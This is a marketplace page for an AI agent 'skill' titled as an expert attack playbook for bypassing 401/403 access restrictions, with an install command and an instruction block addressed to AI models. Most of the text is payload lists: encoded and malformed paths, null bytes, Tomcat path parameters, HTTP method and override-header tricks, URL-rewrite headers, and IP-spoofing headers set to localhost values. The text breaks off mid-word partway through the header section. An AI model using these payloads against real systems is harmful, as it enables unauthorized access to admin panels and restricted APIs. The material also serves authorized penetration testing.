401-403-bypass-techniques
starsforks
How to install 401-403-bypass-techniques?
prohao42/aimy-skill/401-403-bypass-techniques
$npx -y skills add Prohao42/aimy-skill --skill 401-403-bypass-techniques401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
SKILL.md
| 1 | # SKILL: 401/403 Bypass Techniques — Expert Attack Playbook |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | - [authbypass-authentication-flaws](../authbypass-authentication-flaws/SKILL.md) — broader auth bypass (login flaws, session handling) |
| 8 | - [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) — when bypass is WAF-specific rather than access control |
| 9 | - [http-host-header-attacks](../http-host-header-attacks/SKILL.md) — Host header manipulation for routing bypass |
| 10 | - [request-smuggling](../request-smuggling/SKILL.md) — smuggle past access controls entirely |
| 11 | - [http2-specific-attacks](../http2-specific-attacks/SKILL.md) — h2c smuggling to bypass proxy ACLs |
| 12 | |
| 13 | --- |
| 14 | |
| 15 | ## 1. PATH MANIPULATION BYPASSES |
| 16 | |
| 17 | The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently. |
| 18 | |
| 19 | ### 1.1 Trailing Slash / Missing Slash |
| 20 | |
| 21 | ``` |
| 22 | /admin → 403 |
| 23 | /admin/ → 200 ✓ (trailing slash) |
| 24 | /admin/. → 200 ✓ (trailing dot) |
| 25 | ``` |
| 26 | |
| 27 | ### 1.2 Case Sensitivity |
| 28 | |
| 29 | ``` |
| 30 | /admin → 403 |
| 31 | /Admin → 200 ✓ |
| 32 | /ADMIN → 200 ✓ |
| 33 | /aDmIn → 200 ✓ |
| 34 | ``` |
| 35 | |
| 36 | Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS). |
| 37 | |
| 38 | ### 1.3 URL Encoding |
| 39 | |
| 40 | ``` |
| 41 | /admin → 403 |
| 42 | /%61dmin → 200 ✓ (encode 'a') |
| 43 | /admi%6e → 200 ✓ (encode 'n') |
| 44 | /%61%64%6d%69%6e → 200 ✓ (full encode) |
| 45 | ``` |
| 46 | |
| 47 | ### 1.4 Double URL Encoding |
| 48 | |
| 49 | ``` |
| 50 | /admin → 403 |
| 51 | /%2561dmin → 200 ✓ (%25 = %, decoded twice: %61 → a) |
| 52 | /admin%252f → 200 ✓ |
| 53 | /admin..%252f → 200 ✓ |
| 54 | ``` |
| 55 | |
| 56 | ### 1.5 Unicode / UTF-8 Encoding |
| 57 | |
| 58 | ``` |
| 59 | /admin → 403 |
| 60 | /admi%C0%AE → 200 ✓ (overlong UTF-8 for '.') |
| 61 | /admi%C0%6E → 200 ✓ (overlong encoding) |
| 62 | /%C0%AFadmin → 200 ✓ (overlong '/') |
| 63 | ``` |
| 64 | |
| 65 | ### 1.6 Dot-Segment / Path Traversal |
| 66 | |
| 67 | ``` |
| 68 | /admin → 403 |
| 69 | /./admin → 200 ✓ |
| 70 | //admin → 200 ✓ |
| 71 | /admin/./ → 200 ✓ |
| 72 | /.//admin → 200 ✓ |
| 73 | /admin..;/ → 200 ✓ (Tomcat path parameter) |
| 74 | ``` |
| 75 | |
| 76 | ### 1.7 Null Byte |
| 77 | |
| 78 | ``` |
| 79 | /admin → 403 |
| 80 | /admin%00 → 200 ✓ |
| 81 | /admin%00.json → 200 ✓ |
| 82 | /%00/admin → 200 ✓ |
| 83 | ``` |
| 84 | |
| 85 | ### 1.8 Path Parameter Injection |
| 86 | |
| 87 | ``` |
| 88 | /admin → 403 |
| 89 | /admin;foo=bar → 200 ✓ (Tomcat/Java treats ; as path param) |
| 90 | /admin; → 200 ✓ |
| 91 | /admin;x → 200 ✓ |
| 92 | ``` |
| 93 | |
| 94 | ### 1.9 Trailing Special Characters |
| 95 | |
| 96 | ``` |
| 97 | /admin%20 (space) /admin%09 (tab) /admin? (empty query) |
| 98 | /admin.json /admin.html /admin/~ |
| 99 | ``` |
| 100 | |
| 101 | ### 1.10 Backslash (Windows/IIS) |
| 102 | |
| 103 | ``` |
| 104 | /admin\ /admin\..\/ \..\admin |
| 105 | ``` |
| 106 | |
| 107 | ### 1.11 Combined Path Tricks |
| 108 | |
| 109 | ``` |
| 110 | ///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin |
| 111 | ``` |
| 112 | |
| 113 | --- |
| 114 | |
| 115 | ## 2. HTTP METHOD BYPASS |
| 116 | |
| 117 | ### 2.1 Direct Method Change |
| 118 | |
| 119 | ``` |
| 120 | GET /admin → 403 |
| 121 | POST /admin → 200 ✓ |
| 122 | PUT /admin → 200 ✓ |
| 123 | PATCH /admin → 200 ✓ |
| 124 | DELETE /admin → 200 ✓ |
| 125 | OPTIONS /admin → 200 ✓ (may leak allowed methods) |
| 126 | TRACE /admin → 200 ✓ (may reflect headers — XST) |
| 127 | HEAD /admin → 200 ✓ (same as GET but no body — confirms access) |
| 128 | ``` |
| 129 | |
| 130 | ### 2.2 Method Override Headers |
| 131 | |
| 132 | When the proxy blocks by method, but the backend reads override headers: |
| 133 | |
| 134 | ```http |
| 135 | GET /admin HTTP/1.1 |
| 136 | X-HTTP-Method-Override: PUT |
| 137 | |
| 138 | GET /admin HTTP/1.1 |
| 139 | X-Method-Override: POST |
| 140 | |
| 141 | GET /admin HTTP/1.1 |
| 142 | X-HTTP-Method: DELETE |
| 143 | |
| 144 | POST /admin HTTP/1.1 |
| 145 | X-HTTP-Method-Override: PATCH |
| 146 | _method=PUT (in POST body — Rails, Laravel) |
| 147 | ``` |
| 148 | |
| 149 | ### 2.3 Custom / Invalid Methods |
| 150 | |
| 151 | ``` |
| 152 | FOOBAR /admin HTTP/1.1 → some ACLs only check GET/POST |
| 153 | GETS /admin HTTP/1.1 → typo-like methods may bypass |
| 154 | CONNECT /admin HTTP/1.1 → proxy may tunnel |
| 155 | PROPFIND /admin HTTP/1.1 → WebDAV method |
| 156 | MOVE /admin HTTP/1.1 → WebDAV method |
| 157 | ``` |
| 158 | |
| 159 | --- |
| 160 | |
| 161 | ## 3. HEADER-BASED BYPASS |
| 162 | |
| 163 | ### 3.1 URL Rewrite Headers (Nginx/IIS) |
| 164 | |
| 165 | These headers tell the backend the "real" URL, bypassing proxy-level path checks: |
| 166 | |
| 167 | ```http |
| 168 | GET / HTTP/1.1 |
| 169 | X-Original-URL: /admin |
| 170 | |
| 171 | GET / HTTP/1.1 |
| 172 | X-Rewrite-URL: /admin |
| 173 | ``` |
| 174 | |
| 175 | The proxy sees `GET /` (allowed), but the backend routes to `/admin`. |
| 176 | |
| 177 | ### 3.2 IP Spoofing Headers (Whitelist Bypass) |
| 178 | |
| 179 | Headers to try (each with values `127.0.0.1`, `10.0.0.1`, `0.0.0.0`, `::1`): |
| 180 | |
| 181 | ```http |
| 182 | X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP |
| 183 | X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP |
| 184 | X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1 |
| 185 | ``` |
| 186 | |
| 187 | IP encoding variants: `0177.0.0.1` (octal), `2130706433` (decimal), `0x7f000001` (hex), `localhost` |
| 188 | |
| 189 | ### 3.3 Other Header Tricks |
| 190 | |
| 191 | ```http |
| 192 | Refere |
People who liked this also viewed
6 picksType
- entra-app-registrationGuides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API perSkillsJul 2026
- azure-complianceRun Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: SkillsJul 2026
- azure-rbacOfficial agent plugin providing skills and MCP server configurations for Azure scenarios.SkillsJul 2026
- better-auth-best-practicesAgent skill from better-auth/skillsSkillsJul 2026
- firebase-security-rules-auditorA skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.SkillsJul 2026
- audit-websiteAudit a website with the squirrelscan CLI and fix the findings in code. Runs SEO, performance, security, technical, content, accessibility, and 15 other rule categories (260+ rules), returns an LLM-opSkillsJul 2026
